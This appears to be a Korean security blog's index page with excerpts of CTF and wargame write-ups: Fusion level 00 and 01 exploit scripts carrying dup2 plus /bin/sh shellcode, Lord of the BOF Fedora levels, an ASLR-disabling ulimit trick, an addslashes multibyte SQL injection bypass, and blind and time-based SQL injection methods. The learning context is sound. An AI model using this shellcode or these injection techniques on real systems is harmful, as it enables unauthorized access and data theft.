본문 바로가기

Security

[exploit-exercises] Fusion level 01 from struct import * from socket import * import time fd=4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',20001)) #raw_input(".. 더보기
[exploit-exercises] Fusion level 00 from struct import * from socket import * import time fd=4 shellcode = "\x31\xc9\xb1\x02\x31\xdb\xb3\x41\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7" # dup2 shellcode = shellcode.replace("\x41", chr(fd)) # bin/sh shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"+\ "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" s = socket(AF_INET, SOCK_STREAM) s.connect(('localhost',20000)) print s.recv.. 더보기
libc 주소 randomization 해제 트릭 local환경에서 BOF 공격을 할때, 루트권한 없이도 libc의 주소 randomization을 해제하는 트릭이 있다. $ ulimit -s unlimited 를 이용하면 된다.(단, 32비트 리눅스에서만 가능하다고 한다.) $ ldd alinux-gate.so.1 => (0xb7768000)libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75fb000)/lib/ld-linux.so.2 (0xb7769000)$ ldd a linux-gate.so.1 => (0xb772f000)libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb75c2000)/lib/ld-linux.so.2 (0xb7730000)$ ulimit -s unlimited$ l.. 더보기
[BOF원정대/Fedora4] dark_stone -> cruel /* The Lord of the BOF : The Fellowship of the BOF - cruel - Local BOF on Fedora Core 4 - hint : no more fake ebp, RET sleding on random library */ #include #include #include int main(int argc, char *argv[]) { char buffer[256]; if(argc & result $ xxd result | grep cve -A 4 ... 0000640: 6563 7665 2822 85c0 7553 65a1 5422 2c20 ecve("..uSe.T", 0000650: 5b30 5d2c 205b 2f2a 2030 2076 6172 7320 [0], [.. 더보기
[BOF원정대/Fedora3] evil_wizard -> dark_stone /* The Lord of the BOF : The Fellowship of the BOF - dark_stone - Remote BOF on Fedora Core 3 - hint : GOT overwriting again - port : TCP 8888 */ #include // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main() { char buffer[256]; char saved_sfp[4]; int length; char temp[1024]; printf("dark_stone : how fresh meat you are!\n"); printf("you : ");.. 더보기
[BOF원정대/Fedora3] hell_fire -> evil_wizard /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting */ // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); } int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; int length; if(argc 더보기
리버스쉘과 바인드쉘이 안될때 대처법 (dup2+/bin/sh) CTF를 풀때 정말 난감한 환경들이 있다. 예를들어, 특히 우리학교. 우리학교처럼 외부접속을 아예 막아버린 상태에선 리버스텔넷이 불가능하다. 이런 상황에서 CTF서버측에 방화벽이 켜져있으면 바인드쉘도 불가능하기때문에, 다른방법을 써야하는데 dup2+쉘을 이용하면 가능하다. dup2에 대해서 우선 설정하자면, dup2(a,b) 의 형식인데 원래 dup 함수에 대해 검색해보면 알겟지만, 파일 디스크립터를 복사해주는 역할을 하고 파일디스크립터 번호를 안쓰는 랜덤번호로 지정해준다. dup대신 dup2를 쓰게되면, 번호를 지정해서 변경할수 있는데, 파일디스크립터 a를 특정번호 b로 지정해준다. 이때, b를 1로 지정해주게되면 stdout으로 지정이 되어, stdout의 결과가 클라이언트로 전송이 된다. 그래서, .. 더보기
SQL injection addslashes, utf-8 변환시 우회법 php mysql에서 addslashes를 이용해서 인젝션을 차단하고 있거나, euc-kr을 utf-8로 변환을 하는 작업이 있을경우, 멀티바이트를 이용해서 우회가 가능합니다.두가지 케이스 모두 솔루션은 같으므로, 한번에 설명하겠습니다. addslashes는 입력스트링 중에 quote(') 가 있다면 앞에 \를 붙여줌으로써, " \' " 로 변환됩니다.그래서, quote를 소용없게 만드는것이죠. 하지만, 멀티바이트로 보내면 소용이 없습니다. 예를 들어 url encoding 구문으로 %bf%27을 보낸다면, (%27이 quote입니다.)%bf%5C%27 로 변하게 되고. (%5C가 \ 입니다.)결국, %bf%5C 가 한글자로 읽히게 됩니다. (유니코드이기 때문에.)그리고 %27이 \의 간섭을 안받고 자유.. 더보기
LPAD,bin,ascii를 이용한 효과적인 Blind SQL Injection (Only mysql) Blind SQL injection은 아무래도 브루트포싱이다보니, 한글자를 알아내기까지 많은 쿼리를 보내야합니다.빠릿빠릿한 서버라면, 별 상관없을수도 있지만. 느린서버를 공략할때는 너무 답답합니다.하지만, LPAD,bin,ascii와 같은 함수들을 이용하면, 쿼리의 횟수를 확 줄일수 있습니다. 기존의 방법대로라면 한글자를 알아내기까지 최대 약 70개정도의 쿼리를 보내야 한다면.이 방법을 사용했을땐, 8번의 쿼리만으로 글자를 알아낼수 있습니다. 함수들을 설명해드리면,ascii는 캐릭터를 숫자로 변환하는 함수입니다.ex) 'A' -> 65, 'a' -> 94, '0' ->48 bin은 숫자를 2진법 형태의 스트링으로 변환하는 함수입니다.ex) 12 -> '1100', 65->'1000.. 더보기
Time-based Blind Injection 이번에도 문법은 MySQL 기준으로 설명하겠습니다. Blind SQL injection을 할때, True or False에 따라 결과값이 달라진다면, 간단히 해낼수있지만.True or False에 따른 화면 결과값이 달라지지 않을때가 있습니다. 그럴땐 if함수와 sleep함수를 이용하면 됩니다.그리고, 시간을 재야하기 때문에 파이썬등의 스크립트를 이용한 공격이 필수라고 생각됩니다.. Sleep은 대부분 아실텐데, sleep(x) 라면, x초간 멈추는겁니다. 그리고 if함수의 구성을 보자면,if(조건,참일때 결과값,거짓일때 결과값)입니다. 그래서 참일때, sleep(x)을 걸고, 요청을 보내서 response가 x초 이후에 도착했다면, True라고 판단하면 됩니다.물론, 평소의 response가 오기까지 .. 더보기